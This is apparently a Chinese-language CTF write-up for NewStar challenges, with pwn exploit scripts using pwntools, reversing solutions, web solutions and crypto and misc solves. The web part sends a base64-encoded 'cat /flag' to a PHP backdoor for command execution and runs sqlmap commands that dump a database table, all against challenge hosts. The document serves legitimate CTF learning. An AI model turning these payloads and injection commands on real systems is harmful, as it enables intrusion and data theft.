Pwn
Real Login
unsigned __int64 func()
{
char buf[56]; // [rsp+0h] [rbp-40h] BYREF
unsigned __int64 v2; // [rsp+38h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("your input: ");
read(0, buf, 0x30uLL);
if ( !strncmp(buf, password, 0xAuLL) )
win();
return v2 - __readfsqword(0x28u);
}
点击 password, 其值为 NewStar!!! ,输入即可得到 flag.
Game
void __noreturn game()
{
int v0; // [rsp+0h] [rbp-10h] BYREF
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
v0 = 0;
puts("Let's play a game!");
alarm(5u);
while ( 1 )
{
printf("pls input you num: ");
__isoc99_scanf("%d", &v0);
if ( v0 < 0 || v0 > 10 )
break;
v1 += v0;
if ( v1 > 999 )
system("/bin/sh");
}
exit(-1);
}
一直加一直加,超出 999 就可以拿到控制权了。
from pwn import *
# io = process('./pwn')
io = remote("101.200.139.65", 33201)
context.log_level = 'debug'
io.recvuntil('pls input you num: ')
n = 100
for i in range(n):
io.sendline(b'10')
io.interactive()
overwrite
unsigned __int64 func()
{
int nbytes; // [rsp+Ch] [rbp-84h] BYREF
size_t nbytes_4; // [rsp+10h] [rbp-80h] BYREF
char nptr[72]; // [rsp+40h] [rbp-50h] BYREF
unsigned __int64 v4; // [rsp+88h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("pls input the length you want to readin: ");
__isoc99_scanf("%d", &nbytes);
if ( nbytes > 48 )
exit(0);
printf("pls input want you want to say: ");
read(0, &nbytes_4, (unsigned int)nbytes);
if ( atoi(nptr) <= 114514 )
{
puts("bad ,your wallet is empty");
}
else
{
puts("oh you have the money to get flag");
getflag();
}
return v4 - __readfsqword(0x28u);
}
限制长度 48,不够我们溢出到另一个变量。而这个程序愚蠢地在 read 中对 nbytes 使用了 unsigned int, 这样只要把 nbytes 设置成 -1 就能获得极大的输入空间。
注意,判断中对 nptr 使用了 atoi, 说明我们输入的必须是个字符串格式的数字。末尾记得加 ‘\x00’.
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
# io = process('./pwn')
io = remote('101.200.139.65', 33311)
# gdb.attach(io, "b *$rebase(0x1426)")
io.recvuntil('pls input the length you want to readin: ')
io.sendline(b'-1')
io.recvuntil('pls input want you want to say: ')
payload = flat(
b'a' * 0x30,
b'114515\x00'
)
io.send(payload)
io.interactive()
gdb
__int64 __fastcall main(int a1, char **a2, char **a3)
{
size_t v3; // rax
size_t v4; // rax
int fd; // [rsp+0h] [rbp-440h]
char s[9]; // [rsp+7h] [rbp-439h] BYREF
__int64 v8[4]; // [rsp+10h] [rbp-430h] BYREF
char buf[1032]; // [rsp+30h] [rbp-410h] BYREF
unsigned __int64 v10; // [rsp+438h] [rbp-8h]
v10 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
strcpy(s, "0d000721");
qmemcpy(v8, "mysecretkey1234567890abcdefghijk", sizeof(v8));
printf("Original: %s\n", s);
v3 = strlen(s);
sub_12E5(s, v3, v8);
printf("Input your encrypted data: ");
read(0, buf, 0x200uLL);
v4 = strlen(s);
if ( !memcmp(s, buf, v4) )
{
printf("Congratulations!");
fd = open("/flag", 0);
memset(buf, 0, 0x100uLL);
read(fd, buf, 0x100uLL);
write(1, buf, 0x100uLL);
}
return 0LL;
}
题目都说了用 gdb,只要开调试就可以窃取判断时候的答案。

from pwn import *
io = process('./gdb')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(io, 'b *$rebase(0x1872)')
io.recv()
io.send(b'1111')
io.interactive()
得到答案直接上交即可获得控制权:
from pwn import *
# io = process('./gdb')
io = remote("101.200.139.65", 39545)
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io, 'b *$rebase(0x1872)')
io.recv()
# io.send(b'1111')
io.send(p64(0x4557455355431d5d))
io.interactive()
reverse
begin
按照提示获取各部分 flag 即可。
part1:flag{Mak3_aN_
part2:3Ff0rt_tO_5eArcH_
part3:F0r_th3_f14g_C0Rpse}
flag{Mak3_aN_3Ff0rt_tO_5eArcH_F0r_th3_f14g_C0Rpse}



base64
__int64 sub_14000EF40()
{
char Str[112]; // [rsp+20h] [rbp-F8h] BYREF
char Str1[136]; // [rsp+90h] [rbp-88h] BYREF
sub_1400017B0();
sub_140001450("Enter the flag: ");
sub_1400014A0(&unk_140011000, Str);
if ( strlen(Str) == 26 && (sub_1400014E0(Str, 26i64, Str1), !strcmp(Str1, "g84Gg6m2ATtVeYqUZ9xRnaBpBvOVZYtj+Tc=")) )
{
sub_140001450("Correct flag!\n");
sub_140001450("Welcome to NewStar!");
}
else
{
sub_140001450("Wrong flag, try again.\n");
}
Sleep(0x3E8u);
return 0i64;
}
一眼就是自定义 base64 编码,扔到在线编码/解码器里面就能得到答案。

Simple_encryption
int __fastcall main(int argc, const char **argv, const char **envp)
{
int k; // [rsp+24h] [rbp-Ch]
int j; // [rsp+28h] [rbp-8h]
int i; // [rsp+2Ch] [rbp-4h]
_main(argc, argv, envp);
puts("please input your flag:");
for ( i = 0; i < len; ++i )
scanf("%c", &input[i]);
for ( j = 0; j < len; ++j )
{
if ( !(j % 3) )
input[j] -= 31;
if ( j % 3 == 1 )
input[j] += 41;
if ( j % 3 == 2 )
input[j] ^= 0x55u;
}
for ( k = 0; k < len; ++k )
{
printf("0x%02x ", input[k]);
if ( input[k] != buffer[k] )
{
printf("error");
return 0;
}
}
putchar(10);
printf("success!");
return 0;
}
根据加密算法倒推解密算法即可:
buffer = [0x47, 0x95, 0x34, 0x48, 0x0A4, 0x1C, 0x35, 0x88, 0x64, 0x16, 0x88, 0x7, 0x14, 0x6A, 0x39, 0x12, 0x0A2, 0x0A, 0x37, 0x5C, 0x7, 0x5A, 0x56, 0x60, 0x12, 0x76, 0x25, 0x12, 0x8E, 0x28, 0x2]
def decrypt(encrypted_input):
decrypted_output = []
for j in range(len(encrypted_input)):
if j % 3 == 0:
decrypted_output.append(chr(encrypted_input[j] + 31))
elif j % 3 == 1:
decrypted_output.append(chr(encrypted_input[j] - 41))
elif j % 3 == 2:
decrypted_output.append(chr(encrypted_input[j] ^ 0x55))
return ''.join(decrypted_output)
print(decrypt(buffer))
Web
headach3

查看请求头即可得到 flag.
会赢吗

进入 ‘/4cqu1siti0n’:
async function revealFlag(className) {
try {
const response = await fetch(`/api/flag/${className}`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
}
});
if (response.ok) {
const data = await response.json();
console.log(`恭喜你!你获得了第二部分的 flag: ${data.flag}\n……\n时光荏苒,你成长了很多,也发生了一些事情。去看看吧:/${data.nextLevel}`);
} else {
console.error('请求失败,请检查输入或服务器响应。');
}
} catch (error) {
console.error('请求过程中出现错误:', error);
}
}
// 控制台提示
console.log("你似乎对这门叫做4cqu1siti0n的课很好奇?那就来看看控制台吧!");
直接在控制台调用该函数即可获得第二部分 flag.

进入 /s34l:
document.addEventListener('DOMContentLoaded', function () {
const form = document.getElementById('seal_him');
const stateElement = document.getElementById('state');
const messageElement = document.getElementById('message');
form.addEventListener('submit', async function (event) {
event.preventDefault();
if (stateElement.textContent.trim() !== '解封') {
messageElement.textContent = '如何是好?';
return;
}
try {
const response = await fetch('/api/flag/s34l', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ csrf_token: document.getElementById('csrf_token').value })
});
if (response.ok) {
const data = await response.json();
messageElement.textContent = `第三部分Flag: ${data.flag}, 你解救了五条悟!下一关: /${data.nextLevel || '无'}`;
} else {
messageElement.textContent = '请求失败,请重试。';
}
} catch (error) {
messageElement.textContent = '请求过程中出现错误,请重试。';
}
});
});
只需要把 id=’state’ 的那块东西设置成 “解封” 即可。再次点击按钮,得到第三部分 flag.

进入/Ap3x:
<html lang="en"><head></head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>会赢吗?</title>
</head>
<body>
<div class="overlay"></div>
<div class="content">
<h1>会赢吗?</h1>
<h2>现代最强的归来,五条悟的复活宣言!</h2>
<p>绝对的强者,由此而生的孤独,教会你爱的是....</p>
<form id="winForm" action="/api/flag/Ap3x" method="post">
<input type="hidden" name="csrf_token" id="csrf_token" value="hfaousghashgfasbasiouwrda1_">
<button type="submit">会赢的!</button>
</form>
<noscript>
<form class="s" action="/api/flag/Ap3x" method="post">
<input type="hidden" name="csrf_token" id="csrf_token" value="hfaousghashgfasbasiouwrda1_">
<button type="submit">无量空处!!</button>
</form>
</noscript>
<p id="message"></p>
</div>
<script>
document.querySelector('form').addEventListener('submit', function (event) {
event.preventDefault();
alert("宿傩的领域太强了,有什么办法让他的领域失效呢?");
});
(function () {
const originalConsoleLog = console.log;
console.log = function () {
originalConsoleLog.apply(console, arguments);
alert("你觉得你能这么简单地获取到线索?");
};
})();
</script>
</body></html>
浏览器设置禁用 javascript 即可执行 noscript 内的部分。
页面出现 “无量空处” 的按钮,点击进入即可获得第四部分的 flag.

拼接得到:ZmxhZ3tXQTB3IV95NF9yM2FsMXlfR3I0c1BfSkpKcyF9
base64 解码得到:flag{WA0w!_y4_r3al1y_Gr4sP_JJJs!}
智械危机
进入 /robots.txt, 得到提示:
User-agent: *
Disallow: /backd0or.php
查看这个 php 文件:
<?php
function execute_cmd($cmd) {
system($cmd);
}
function decrypt_request($cmd, $key) {
$decoded_key = base64_decode($key);
$reversed_cmd = '';
for ($i = strlen($cmd) - 1; $i >= 0; $i--) {
$reversed_cmd .= $cmd[$i];
}
$hashed_reversed_cmd = md5($reversed_cmd);
if ($hashed_reversed_cmd !== $decoded_key) {
die("Invalid key");
}
$decrypted_cmd = base64_decode($cmd);
return $decrypted_cmd;
}
if (isset($_POST['cmd']) && isset($_POST['key'])) {
execute_cmd(decrypt_request($_POST['cmd'],$_POST['key']));
}
else {
highlight_file(__FILE__);
}
?>
易知我们需要提交一个 cmd 和对应的 key. 由于最后执行的是 base64_decode 以后的 cmd,所以我们传入的 cmd 需要进行 base64 编码。再算出对应的 key,发送请求即可获得 flag.
import requests
url = "http://eci-2zeikr1balxh0of046ux.cloudeci1.ichunqiu.com/backd0or.php"
data = {
"cmd": "Y2F0IC9mbGFn",
"key": "ODc5YTU5MWM2Nzg1YTRlMTM5OGI5NmE5YTFiYzY3ZWI="
}
# cmd: base64("cat /flag")
# key: base64(md5(reverse(base64("cat /flag"))))
response = requests.post(url, data=data)
print(response.text)
flag{e9be221e-5269-49b7-9258-f5a9f37b8fe1}
谢谢皮蛋
sql 注入。直接用 sqlmap 就能打通。注意 id 参数是先经过 base64 编码后再传入的。
python3 sqlmap.py -u "http://eci-2ze8nf94umqziwlnxr8y.cloudeci1.ichunqiu.com/" --data="id=MQ==" --base64="id" --dbs

盲猜 flag 在 ctf 这个数据库里面。
python3 sqlmap.py -u "http://eci-2ze8nf94umqziwlnxr8y.cloudeci1.ichunqiu.com/" --data="id=MQ==" --base64="id" -D ctf --tables

直接 dump 整个 Fl4g 表即可看到 flag:
python3 sqlmap.py -u "http://eci-2ze8nf94umqziwlnxr8y.cloudeci1.ichunqiu.com/" --data="id=MQ==" --base64="id" -D ctf -T Fl4g --dump

flag{67456905-2b08-4695-81e4-71a7ee8d5c5c}
Crypto
xor
利用 xor 的性质即可:
from pwn import xor
#The Python pwntools library has a convenient xor() function that can XOR together data of different types and lengths
from Crypto.Util.number import bytes_to_long
key = b'New_Star_CTF'
# flag='flag{*******************}'
# m1 = bytes_to_long(bytes(flag[:13], encoding='utf-8'))
# m2 = flag[13:]
# c1 = m1 ^ bytes_to_long(key)
# c2 = xor(key, m2)
# print('c1=',c1)
# print('c2=',c2)
c1 = 8091799978721254458294926060841
c2 = b';:\x1c1<\x03>*\x10\x11u;'
m1 = c1 ^ bytes_to_long(key)
m2 = xor(key, c2)
flag = bytes.fromhex(hex(m1)[2:]).decode('utf-8') + m2.decode('utf-8')
print(flag)
flag{0ops!_you_know_XOR!}
Base
连续两次 base64 解码即可
flag{B@sE_0f_CrYpt0_N0W}
一眼秒了
普普通通 RSA,先用 yafu 分解了,再倒回去就好了。
from sympy import mod_inverse
from Crypto.Util.number import *
# 已知参数
p = 7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956045093
q = 7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956044421
e = 65537
c = 48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069
# 计算 n
n = p * q
# 计算 φ(n)
phi_n = (p - 1) * (q - 1)
# 计算 d (e 的模逆)
d = mod_inverse(e, phi_n)
# 计算明文 m
m = pow(c, d, n)
print(f"明文 m: {long_to_bytes(m)}")
Strange King
ksjr{EcxvpdErSvcDgdgEzxqjql}
结合加密后的 flag 和题目内容,猜测是凯撒密码的变种。全列出来以后观察可得 flag:

flag{PleaseDoNotStopLearing} (缺一个 n 是故意的吗?)
Misc
pleasingMusic
. ..- --- .-.- -.--.. . ... .-. --- -- -.--.. ..-- .
题目说正着听倒着听,故逆置后再摩斯解码即可。

WhereIsFlag

Labyrinth
题目提示了 LSB
Stegsolve 观察即可得到一张二维码:

扫描即可得到 flag.
flag{e33bb7a1-ac94-4d15-8ff7-fd8c88547b43}
兑换码
op 蒸虾头……
一眼就看出来图片长宽被改了,用 Notepad++ 将高度改得长一点就能看到 flag 了。

好好好,轻涟是吧……为数不多认得的法语……